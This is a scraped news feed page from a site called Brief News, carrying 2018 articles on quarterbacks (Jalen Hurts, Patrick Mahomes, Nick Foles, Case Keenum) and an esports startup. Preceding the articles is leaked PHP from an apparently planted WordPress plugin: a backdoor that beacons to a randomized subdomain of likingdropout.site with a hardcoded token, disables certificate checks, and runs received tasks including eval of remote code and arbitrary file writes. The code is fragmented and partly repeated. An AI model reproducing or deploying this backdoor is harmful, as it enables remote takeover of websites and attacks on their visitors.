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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Quarterback – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 02 Dec 2018 11:01:23 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Quarterback – Brief News https://briefnews.eu 32 32 Alabama quarterback who was benched in last year’s title game was thrown in the SEC Championship and scored 2 touchdowns in 10 minutes to lead a wild comeback https://briefnews.eu/alabama-quarterback-who-was-benched-in-last-years-title-game-was-thrown-in-the-sec-championship-and-scored-2-touchdowns-in-10-minutes-to-lead-a-wild-comeback/ https://briefnews.eu/alabama-quarterback-who-was-benched-in-last-years-title-game-was-thrown-in-the-sec-championship-and-scored-2-touchdowns-in-10-minutes-to-lead-a-wild-comeback/#respond Sun, 02 Dec 2018 11:01:23 +0000 http://briefnews.eu/alabama-quarterback-who-was-benched-in-last-years-title-game-was-thrown-in-the-sec-championship-and-scored-2-touchdowns-in-10-minutes-to-lead-a-wild-comeback/ jalen hurtsJohn Amis/AP

  • Alabama quarterback Jalen Hurts led the Crimson Tide to a comeback win in the SEC Championship on Saturday.
  • Hurts replaced Tua Tagovailoa, this year’s Heisman-favorite and Alabama’s starting quarterback, in the fourth quarter after Tagovailoa left with an injury.
  • Hurts threw one touchdown and ran in the go-ahead touchdown in a 10-minute span.
  • Hurts was replaced by Tagovailoa in last year’s college football championship.

Alabama junior quarterback Jalen Hurts on Saturday led the Crimson Tide to a 35-28 win over Georgia in a wild comeback for the SEC Championship.

Hurts was famously replaced by Tua Tagovailoa during last year’s college football championship, and Tagovailoa led Alabama to a big comeback over Georgia.

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]]> https://briefnews.eu/alabama-quarterback-who-was-benched-in-last-years-title-game-was-thrown-in-the-sec-championship-and-scored-2-touchdowns-in-10-minutes-to-lead-a-wild-comeback/feed/ 0 Youngbloods Blaze Trail to NFL Quarterback Success https://briefnews.eu/youngbloods-blaze-trail-to-nfl-quarterback-success/ https://briefnews.eu/youngbloods-blaze-trail-to-nfl-quarterback-success/#respond Fri, 09 Nov 2018 17:28:30 +0000 http://briefnews.eu/youngbloods-blaze-trail-to-nfl-quarterback-success/ The first game of the 2018 NFL season, at least initially, looked like a nightmare for the New York Jets. Huddled in front of televisions across the metropolitan area, Jets fans tuned in with anticipation to see 21-year-old rookie Sam Darnold become the youngest quarterback to ever start an NFL game. But 12 seconds into the Sept. 10 game, on his first NFL pass, Darnold threw an interception that was returned for a Detroit Lions touchdown. The dream seemed over. As the game progressed, though, Darnold proved unflappable, and by night’s end, his pick-six was an afterthought.

The Jets routed the Lions 48-17, with Darnold racking up 198 yards and two touchdowns after the ugly start. Darnold’s recovery was part of a dramatic transformation that’s taking hold of the league. This movement isn’t unique to specific skill sets or hybrid positions. No, the current quarterback revolution is all about birth certificates, particularly those with DOBs creeping up on the 21st century. Across the NFL, young quarterbacks are leading playoff contenders — a stark contrast from the days when inexperienced passers mostly took the field only out of necessity.

I think we’re seeing a rebirth of the quarterback position.

Boomer Esiason, former Jets quarterback

Patrick Mahomes, the starting quarterback for the Kansas City Chiefs this year, is 23 (the man he replaced, Alex Smith, is 34). Deshaun Watson of the Houston Texans is also 23. Jared Goff of the Los Angeles Rams will soon turn 24, the same age as Mitch Trubisky of the Chicago Bears. None of them have had more than two seasons in the NFL. But these young quarterbacks are learning on the fly and are already the go-to passers for their coaches. In 1998, the average age of starting QBs in the NFL was 30.1. In 2008, it was 29.1. This year, at the moment, it’s 27.8.

In 2008, only five NFL teams had starting quarterbacks with three or fewer years of experience in the league. This year, 12 of the league’s 32 quarterbacks have played three seasons or fewer. A decade ago, nine of the league’s starting quarterbacks were 25 or under. In 2018, it’s 14. The reasons are many, but one thing’s for sure: Starting in the NFL has never been easier.

“There’s an influx of dynamic young talent at the position,” says Boomer Esiason, the former Jets quarterback turned radio host and CBS analyst. “I think we’re seeing a rebirth of the quarterback position.”

Traditionally, most highly drafted quarterbacks had to wait their turn. But teams are embracing offensive innovation and are more readily trusting of young quarterbacks: It’s safer than before and makes financial sense.

The NFL’s emphasis on player safety now allows rookie passers to dodge some of football’s most painful lessons. According to former NFL receiver–turned–CBS analyst Nate Burelson, young quarterbacks used to serve as target practice for the defense. “They were getting blindsided a handful of times per game, at least,” he says. But today, violent hits on a quarterback almost always result in a penalty. Hits that once served as growing pains, or spirit-breakers, for meek young quarterbacks navigating choppy waters, have become few and far between. “If you’re an athletic QB with a decent offensive line and decent football IQ,” says Burelson, “you can go your whole rookie year without getting beat up.”

The quarterback position is by no means easy to play, say experts. NFL success still requires incredible talent, a tireless work ethic, unique athleticism, quite a bit of luck and quick decision-making. “The main thing I look for [in young quarterbacks] is decisiveness,” says Tony Romo, the former Dallas Cowboys quarterback turned star broadcaster for CBS. “I don’t mind interceptions, just make a decision rather than taking a sack when the pocket is closing in.”

But a new and younger band of coaches in the NFL is making those decisions simpler for quarterbacks today. Coaches like Doug Pederson (Eagles), Sean McVay (Rams) and Kyle Shanahan (49ers) have embraced the spread and run-pass option concepts that most young quarterbacks use in the amateur ranks. That familiarity breeds comfort — and NFL success.

After arguably the worst rookie season in history in 2016, Goff made the Pro Bowl while leading Los Angeles to the playoffs in his second season. His 32-year-old boy genius head coach, McVay, is widely considered one of the NFL’s leading offensive minds. Shanahan with the San Francisco 49ers is a quarterback guru at the age of 38.

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Then there’s the quarterback-friendly coaching tree of Chiefs coach Andy Reid. After three straight playoff appearances with veteran quarterback Alex Smith, Reid named 2017 draft pick Mahomes, who threw four touchdowns in his Week 1 debut, Kansas City’s starter. One Reid protége, Matt Nagy, is a first-year head coach starting a second-year quarterback, Mitch Trubisky, in Chicago, while another, Eagles coach Doug Pederson, just won the Super Bowl in his first season in Philadelphia. Pederson started second-year quarterback Carson Wentz until injury ended his season in December.

Of the five rookie quarterbacks drafted in the first round this year, Darnold, Buffalo’s Josh Allen, Cleveland’s Baker Mayfield and Arizona’s Josh Rosen have already started a game. Lamar Jackson (Baltimore) could take the reins soon too.

“Young quarterbacks are more prepared to play today,” says Esiason, noting that most of today’s quarterbacks grow up facing intense scrutiny and extensive training before they even hit puberty. “With modern recruiting and social media, these players are used to the spotlight, and they’re able to handle themselves in the NFL.”

And while NFL organizations trust their young quarterbacks more than ever before, playing a quarterback early is the right fiscal choice too. Without a high-priced veteran quarterback on payroll, teams can pay superstars at other positions, building depth on defense and the offensive line. When the young quarterback proves capable — like Wentz and Goff — that’s when a Super Bowl contender is born.

These days, there’s no time to wait and see. Teams like the Bears and Chiefs have built talented rosters around their respective quarterbacks, hoping the gamble will pay off. “The easiest way to protect a young quarterback is by giving him a great defense,” says Romo. “You don’t want winning to depend on him, but there’s a fine line. The great ones figure it out.” These days, the code is being cracked early, and often.

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]]> https://briefnews.eu/youngbloods-blaze-trail-to-nfl-quarterback-success/feed/ 0 One throw illustrates how Chiefs’ 23-year-old rookie quarterback Patrick Mahomes is already lighting up the NFL https://briefnews.eu/one-throw-illustrates-how-chiefs-23-year-old-rookie-quarterback-patrick-mahomes-is-already-lighting-up-the-nfl/ https://briefnews.eu/one-throw-illustrates-how-chiefs-23-year-old-rookie-quarterback-patrick-mahomes-is-already-lighting-up-the-nfl/#respond Tue, 25 Sep 2018 09:52:28 +0000 http://briefnews.eu/one-throw-illustrates-how-chiefs-23-year-old-rookie-quarterback-patrick-mahomes-is-already-lighting-up-the-nfl/ Patrick MahomesPeter Aiken/Getty Images

  • Patrick Mahomes is the breakout star of the 2018 NFL season thus far.
  • The Chiefs quarterback, who had only made one start coming into the year, set an NFL record after throwing 13 touchdowns through the first three weeks.
  • One throw Mahomes made on Sunday encapsulated why so many are high on his future potential.

Three weeks into the 2018 NFL season, the Kansas City Chiefs offense looks absolutely unstoppable.

Leading the way for the Chiefs is Patrick Mahomes, who had just one NFL start under his belt before taking over for Kansas City with the departure of Alex Smith.

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]]> https://briefnews.eu/one-throw-illustrates-how-chiefs-23-year-old-rookie-quarterback-patrick-mahomes-is-already-lighting-up-the-nfl/feed/ 0 Quarterback who suffered gruesome knee injury signed what looks like a brutal contract with the Jets https://briefnews.eu/quarterback-who-suffered-gruesome-knee-injury-signed-what-looks-like-a-brutal-contract-with-the-jets/ https://briefnews.eu/quarterback-who-suffered-gruesome-knee-injury-signed-what-looks-like-a-brutal-contract-with-the-jets/#respond Mon, 19 Mar 2018 23:21:23 +0000 http://briefnews.eu/quarterback-who-suffered-gruesome-knee-injury-signed-what-looks-like-a-brutal-contract-with-the-jets/ Teddy BridgewaterJon Durr/Getty Images

  • Teddy Bridgewater, a former Pro Bowl quarterback who suffered a devastating knee injury that caused him to miss the past two seasons, signed a new deal offering only $ 500,000 in guaranteed money. 
  • It’s a significantly smaller sum than what other quarterbacks from Bridgewater’s draft class have received this past offseason. 

Teddy Bridgewater, who recently signed with the New York Jets, received only $ 500,000 in guaranteed money from the Jets, according to ESPN reporter Dan Graziano.

The size of the contract throws into stark light just how dramatically the knee injury Bridgewater suffered a few years ago has derailed his career and his life. 

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  • Wyoming’s Josh Allen showed off his impressive arm at the NFL Combine over the weekend, hitting receivers in stride up to 70 yards downfield.
  • Allen is expected to be one of the first quarterbacks off the board at the NFL Draft, but with so many talented QBs entering the league this year, it’s tough to know where he might fall.
  • The Cleveland Browns would make sense as a destination, as Allen has the build of a similar quarterback the Browns missed on in 2016, and the team has two of the first four picks.

The top of the 2018 NFL Draft will likely be loaded with quarterbacks, with as many as six QBs expected to go in the first round.

Over the weekend at the NFL Combine, Josh Allen made his best effort to put himself at the top of the pack, showing off his impressive arm that looks to be the strongest of any quarterback in the field.

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EXCLUSIVE:

Quarterback has launched a platform that brings professional esports players and their fans together, helping the player monetize and engage with their fans better.

Market researcher Newzoo estimates that esports will become a $ 1.5 billion to $ 2.5 billion business by 2020. To get there, fans have to start spending as much on their favorite esports teams as they do with traditional sports such as the NBA.

Los Angeles-based Quarterback opens up new monetization channels for players, streamers, and other talent, while enabling fans to show their support and interact with their esports gaming idols by playing their favorite games. The beta version of Quarterback is now available for League of Legends, and it will expand to additional esports titles in the upcoming months.

Quarterback lets esports players host daily challenges for their fans. They can also sponsor clubs, give away prizes, and offer other perks.  Quarterback acts as an overlay on top of the game without the need for any integration, enabling gamers to play the way they always have. The platform adapts in real-time to the fan’s gaming abilities and offers customized challenges endorsed by the talent’s club.

“Influencers create esports content that fans consumer, but if they go offline, they lose a lot of income,” said Quarterback CEO Jonathan Weinberg, in an interview with GamesBeat. “We put content on their channel during their downtime, and it becomes an integral part of a fan’s gameplay.”

Above: Quarterback adds an overlay to your favorite games like League of Legends.

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Market researcher Nielsen reported 94 percent of esports fans are gamers themselves. In fact they spend seven times more time playing games than actually watching them. So esports stars have to capitalize on their fans’ time spent playing games in order to deepen their loyalty — and monetize their fandom. Until now, esports talent have only been able to monetize fans when they’re watching esports, however.

Quarterback empowers esports talent to serve their fans and generate revenue during their “downtime,” when fans are playing their own games. Fans can engage with various skill-based challenges such as customized leader challenges, where Quarterback automatically creates challenges for fans related to the esports stars.

Esports stars can also created “Beat The Pro” challenges, where fans can play against the club leader’s score and win the right to hang out with the pros. They can also create club-versus-club challenges, private challenges, and adaptive challenges. The latter evaluates the fans’ performance in real-time and offers customized goals that consider the fans’ capabilities and helps them improve in each of their sessions.

Quarterback’s proprietary technology also turns every fan into a content creator by automatically creating a gaming media library based on each fan’s gaming activities. This data, provided on an opt-in basis, can be used by the esports talent to interact with their community and offer shout-outs to their fans, giving them personalized recognition.

So far, about 20 percent of the community uses Quarterback five times a week. Quarterback could make money by encouraging fans to subscribe to an esports player’s club.

“Some esports stars are afraid to stop streaming, and sometimes they go for 72 hours straight,” Weinberg said. “But they hit a ceiling because most of their fans will break away and play the games themselves. This way, the star can say fans can play in the club and complete challenges and continue to engage when the esports player is offline..”

Fans can download Quarterback to participate, and the beta test enables them to win prizes sponsored by Logitech,  which is giving away RGB G810 Orion Spectrum mechanical keyboards.

Weinberg started the company in February 2017, with a headquarters in Los Angeles and research and development in Tel Aviv. It has seven employees. He was inspired to start it after he saw a beautiful girl asking an esports player for an autograph. Quarterback has raised $ 500,000 in funding, and it is raising more money now.

“I’ve been a gamer my whole life, and I programmed an online service at 13,” Weinberg said.

]]> https://briefnews.eu/quarterback-unveils-engagement-and-monetization-platform-for-esports-players/feed/ 0 Only people in DC got to see a bizarre Super Bowl commercial with a Trump impersonator and the Redskins’ quarterback https://briefnews.eu/only-people-in-dc-got-to-see-a-bizarre-super-bowl-commercial-with-a-trump-impersonator-and-the-redskins-quarterback/ https://briefnews.eu/only-people-in-dc-got-to-see-a-bizarre-super-bowl-commercial-with-a-trump-impersonator-and-the-redskins-quarterback/#respond Mon, 05 Feb 2018 03:47:51 +0000 http://briefnews.eu/only-people-in-dc-got-to-see-a-bizarre-super-bowl-commercial-with-a-trump-impersonator-and-the-redskins-quarterback/ Funniest_Local_Commercial_With_Kirk_Cousins___Fake_Donald_Trump_ _YouTubeCyprus Air Heating, Cooling and Fireplaces/YouTube

  • Super Bowl viewers in the Washington, DC area saw a bizarre commercial with an impersonator of President Donald Trump.
  • Kirk Cousins, quarterback for the Washington Redskins, co-starred in the spot.
  • It’s the second year the company, Cyprus Air Fireplace Systems, aired a regional commercial featuring “Trump.”

Viewers in the DC area were treated to a bizarre local Super Bowl commercial with an impersonator of President Donald Trump and the quarterback for the Washington Redskins selling fireplaces.

The company, Cyprus Air Fireplace Systems, aired a similar spot with impersonator John Di Domenico last year, calling both the “funniest local commercial.”

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]]> https://briefnews.eu/only-people-in-dc-got-to-see-a-bizarre-super-bowl-commercial-with-a-trump-impersonator-and-the-redskins-quarterback/feed/ 0 The Eagles quarterback who will face Tom Brady in the Super Bowl nearly retired 3 years ago — and his career path is one of the wildest in recent memory https://briefnews.eu/the-eagles-quarterback-who-will-face-tom-brady-in-the-super-bowl-nearly-retired-3-years-ago-and-his-career-path-is-one-of-the-wildest-in-recent-memory/ https://briefnews.eu/the-eagles-quarterback-who-will-face-tom-brady-in-the-super-bowl-nearly-retired-3-years-ago-and-his-career-path-is-one-of-the-wildest-in-recent-memory/#respond Sat, 03 Feb 2018 21:57:32 +0000 http://briefnews.eu/the-eagles-quarterback-who-will-face-tom-brady-in-the-super-bowl-nearly-retired-3-years-ago-and-his-career-path-is-one-of-the-wildest-in-recent-memory/ Nick FolesAP Photo/Matt Rourke

  • Philadelphia Eagles quarterback Nick Foles is squaring off against Tom Brady and the New England Patriots in Super Bowl LII on Sunday.
  • Foles has had an up-and-down career — after getting benched in 2015, he contemplated retirement from the NFL.
  • His journey from benchwarmer to Super Bowl starter is one of the wildest in recent memory.

Sunday’s Super Bowl LII matchup between the Philadelphia Eagles and the New England Patriots will pit arguably the most accomplished quarterback of all time — Tom Brady — against the Eagles’ unheralded quarterback Nick Foles.

While most of the talk leading up to the game centers on Brady’s quest for a record sixth Super Bowl ring, Foles has a compelling narrative of his own. The 29-year-old journeyman looked to be the Eagles’ franchise quarterback five years ago, before an injury, a trade, and a disappointing season had him contemplating retirement from the NFL.

Back with the Eagles, Foles was thrust into the spotlight after star quarterback Carson Wentz was sidelined with a torn ACL, forcing Foles back into the starting role with the hopes of an entire franchise on his shoulders.

Read on for Foles’ wild journey from benchwarmer to Super Bowl starter.

Nick Foles was drafted by the Philadelphia Eagles in 2012 after a successful college career at Arizona. Foles initially backed up Eagles starter Michael Vick.

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Foles started six games for the Eagles after Vick went down with a concussion. With Foles at the helm, Philadelphia went 1-5, and he was relegated to backup duty again the next season.

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But when Vick went down again in 2013, Foles had his breakout year. He threw 27 touchdown passes, led the Eagles to the playoffs, and was named to the Pro Bowl.

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Tom Brady is the greatest quarterback of all time. 

Brady already has five Super Bowl rings and on Sunday he will go for No. 6. He is also as good as ever at 40 years old, an age when most football players are already retired.

Off the field, Brady’s life is pretty fabulous also. He’s married to the world’s most successful supermodel, has an Aston Martin named for him, and once owned a $ 20 million house with a moat.

Tony Manfred contributed to this report.

Brady was the fifth-highest-paid player in the NFL last season, making $ 28.8 million.

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Brady recently signed a 2-year, $ 41 million extension with the Patriots. A big chunk of his earnings last season came in the form of a $ 28 million signing bonus. This season he made a relatively modest $ 1 million salary and no bonuses.

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Brady is also the third-highest-paid player in NFL history, having already earned $ 197.2 million in his career.

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  • Minnesota Vikings quarterback Case Keenum had a career season in 2017, taking over the starting quarterback spot after beginning the season as a backup.
  • Keenum helped learn the Vikings’ offense by taking thousands of repetitions with VR, according to ESPN.
  • Veteran quarterbacks said it used to take them three years to be fully comfortable in an offense while Keenum mastered it in just one season.

Minnesota Vikings quarterback Case Keenum had a career season in 2017 as he commanded the starting position once he got a chance, never relinquished it, and now has his team one step away from the Super Bowl.

Though Keenum was slated to be the backup, he took over when Sam Bradford got hurt, then played too well to turn the reins over to Teddy Bridgewater once he got healthy.

According to ESPN’s Courtney Cronin, Keenum, who has played on three teams in five years, got a leg up on the competition by using VR to learn the Vikings’ offense. According to Cronin, Keenum took over 2,600 reps via VR, helping him mentally run through all of the Vikings offensive plays off the field.

There seemed to have been a true mental advantage for Keenum, who in addition to practice and game experience, got used to seeing the same plays over and over, knowing what to expect. Cronin noted that Keenum’s QBR under pressure was the best in the NFL season, a possible effect of all of the VR training.

STRIVR CEO Derek Belch said other quarterbacks said that Keenum mastered an offense quicker than they ever did.

“He’s getting better, not getting worse, because he’s putting more work in and getting more comfortable every week in their system,” Belch said. “Carson Palmer, Tony Romo, guys [STRIVR has worked with] in veteran systems, they were like, ‘Man, I wish I had this when I was a rookie because it took me three years to get comfortable in the offense.’ He’s had less than one year to learn an entire offense and it’s turned out really well.”

Keenum completed 67% of his passes this season, throwing for over 3,500 yards with 22 touchdowns and seven interceptions. He went 11-3 as the Vikings starter and never experienced a regression that many people thought might come.

“A lot of guys who are starters don’t think they need it anymore because they’re getting reps on the field,” Belch told Cronin. “[Keenum] said, ‘No, I think this is something that would be even more valuable as a starter as a supplemental preparation tool.'”

Keenum’s biggest test yet will come in the NFC title game against the Philadelphia Eagles, but from the sounds of it, Keenum will be mentally prepared for anything the Eagles throw at him.

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